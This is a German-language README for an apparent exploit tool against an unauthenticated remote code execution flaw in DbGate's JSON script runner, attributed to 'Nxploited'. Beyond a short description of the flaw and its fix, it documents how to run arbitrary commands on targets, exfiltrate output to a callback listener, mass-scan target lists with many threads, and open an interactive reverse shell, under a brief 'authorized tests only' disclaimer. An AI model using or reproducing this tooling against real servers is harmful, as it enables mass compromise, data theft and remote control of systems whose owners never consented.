CVE-2026-47668 — DbGate Remote Code Execution

Nicht authentifizierte RCE im DbGate JSON Script Runner (dbgate-serve ≤ 7.1.8).
Assessment-Tool: CVE-2026-47668.py — nur für autorisierte Tests.

Schwachstelle

Titel: Nicht authentifizierte RCE in DbGate über JSON Script Runner

Vom Benutzer steuerbare Felder (functionName, variableName) werden ohne ordnungsgemäße Validierung in dynamisch generiertes JavaScript eingebettet. Ein Angreifer kann beliebigen Code im Node.js-Runner-Unterprozess ausführen.

Gegenmaßnahme: Upgrade auf 7.1.9+. Netzwerkzugriff einschränken, anonyme Authentifizierung deaktivieren, Anmeldeinformationen rotieren, Protokolle auf verdächtige /runners/start-Aktivitäten prüfen.

Kontakt

Telegram: @KNxploited

Tool-Übersicht

CVE-2026-47668.py prüft und validiert die Ausnutzung gegen DbGate-Instanzen, die Sie autorisiert sind zu testen.

Modi

Ergebnisse

Ausgabeverzeichnis: Nx/ (vuln, dispatch, exfil, failed, list_report, Dateien pro Ziel unter exfil/)

Installation

pip install -r requirements.txt

Erfordert: Python 3.9+, aiohttp, colorama

Verwendung

AUTO-Assistent (Standard — keine Reverse Shell)

python CVE-2026-47668.py

CLI — Flag aktivieren

Jeder CLI-Lauf muss --cli enthalten.

python CVE-2026-47668.py --cli [options]

Einzelnes Ziel

-u / --url — Basis-URL des Ziels

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000

--cmd / --command — Shell-Befehl (Standard: id)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"

--check-only — nur Schwachstellenprobe (kein Befehl)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only

--vector — Injektionsvektor: functionName | variableName | both

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id

--port — Standardport, wenn die URL keinen Port enthält (Standard: 3000)

python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id

--token — vorhandenes Bearer-Token verwenden

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id

--login-json — benutzerdefinierter Login-Body (Standard: {"amoid":"none"})

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id

--timeout — HTTP-Timeout in Sekunden

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id

--secure — TLS-Zertifikate verifizieren

python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id

Callback / Exfil (Standard im CLI mit --cmd)

--callback-host — IP/Hostname, die das Ziel verwendet, um Ihren Listener zu erreichen

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id

--listen-host — lokale Bindung für HTTP-Listener (Standard: 0.0.0.0)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id

--listen-port — HTTP-Exfil-Port (Standard: 8888)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id

-c / --callback — externe Callback-URL (deaktiviert integrierten Listener)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id

--wait-exfil — Sekunden auf Callback warten (einzelnes Ziel, Standard: 8)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id

--no-b64 — Ausgabe ohne Base64-Kodierung senden

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id

--async-exec — asynchrones exec anstelle von execSync

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id

Massen-Scan (keine Reverse Shell)

-f / --file — Datei mit Zielliste

python CVE-2026-47668.py --cli -f targets.txt --cmd id

-t / --threads — parallele Worker (Standard: 30)

python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50

--mass-wait-exfil — Callback-Wartezeit pro Ziel im Massenmodus (Standard: 8)

python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12

Massenmodus + benutzerdefinierter Standardport

python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"

Reverse Shell (optional — nur einzelnes Ziel)

Nicht erforderlich für normale Tests. Verwenden Sie HTTP-Exfil (--cmd) als Nachweis.

--reverse-shell — Ziel verbindet sich mit LHOST:LPORT (Wert weglassen = LAN-IP + Port 4444)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444

--revsh-port — Port, wenn --reverse-shell kein :port enthält

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444

--revsh-bind — lokale Listen-Adresse

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0

--wait-revsh — auf TCP warten (Standard: 15)

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20

--revsh-interactive — einfache stdin/stdout-Weiterleitung nach Verbindung

python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive

Docker-Hinweis: Verwenden Sie eine IP, die aus dem DbGate-Container erreichbar ist (z. B. Host-Gateway), nicht nur 127.0.0.1 auf Ihrem PC.

Zielliste (targets.txt)

# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id

• Kein Port → 3000 wird automatisch angewendet
• host|command → Befehlsüberschreibung pro Zeile
• Bericht: Nx/list_report.txt

Ausgabedateien

Arbeitsablauf

1. POST /auth/login → Bearer-Token (automatisch, außer bei --token)
2. Probe → Runner akzeptiert Injektion
3. POST /runners/start → Befehl ausführen + HTTP-Callback (oder Reverse-TCP, falls aktiviert)
4. Klassifizieren → EXFIL = bestätigte Ausgabe

Haftungsausschluss

Nur für autorisierte Sicherheitstests. Sie müssen eine ausdrückliche Genehmigung haben, um ein System zu testen. Der Autor ist nicht verantwortlich für Missbrauch oder illegale Nutzung.

Von: Nxploited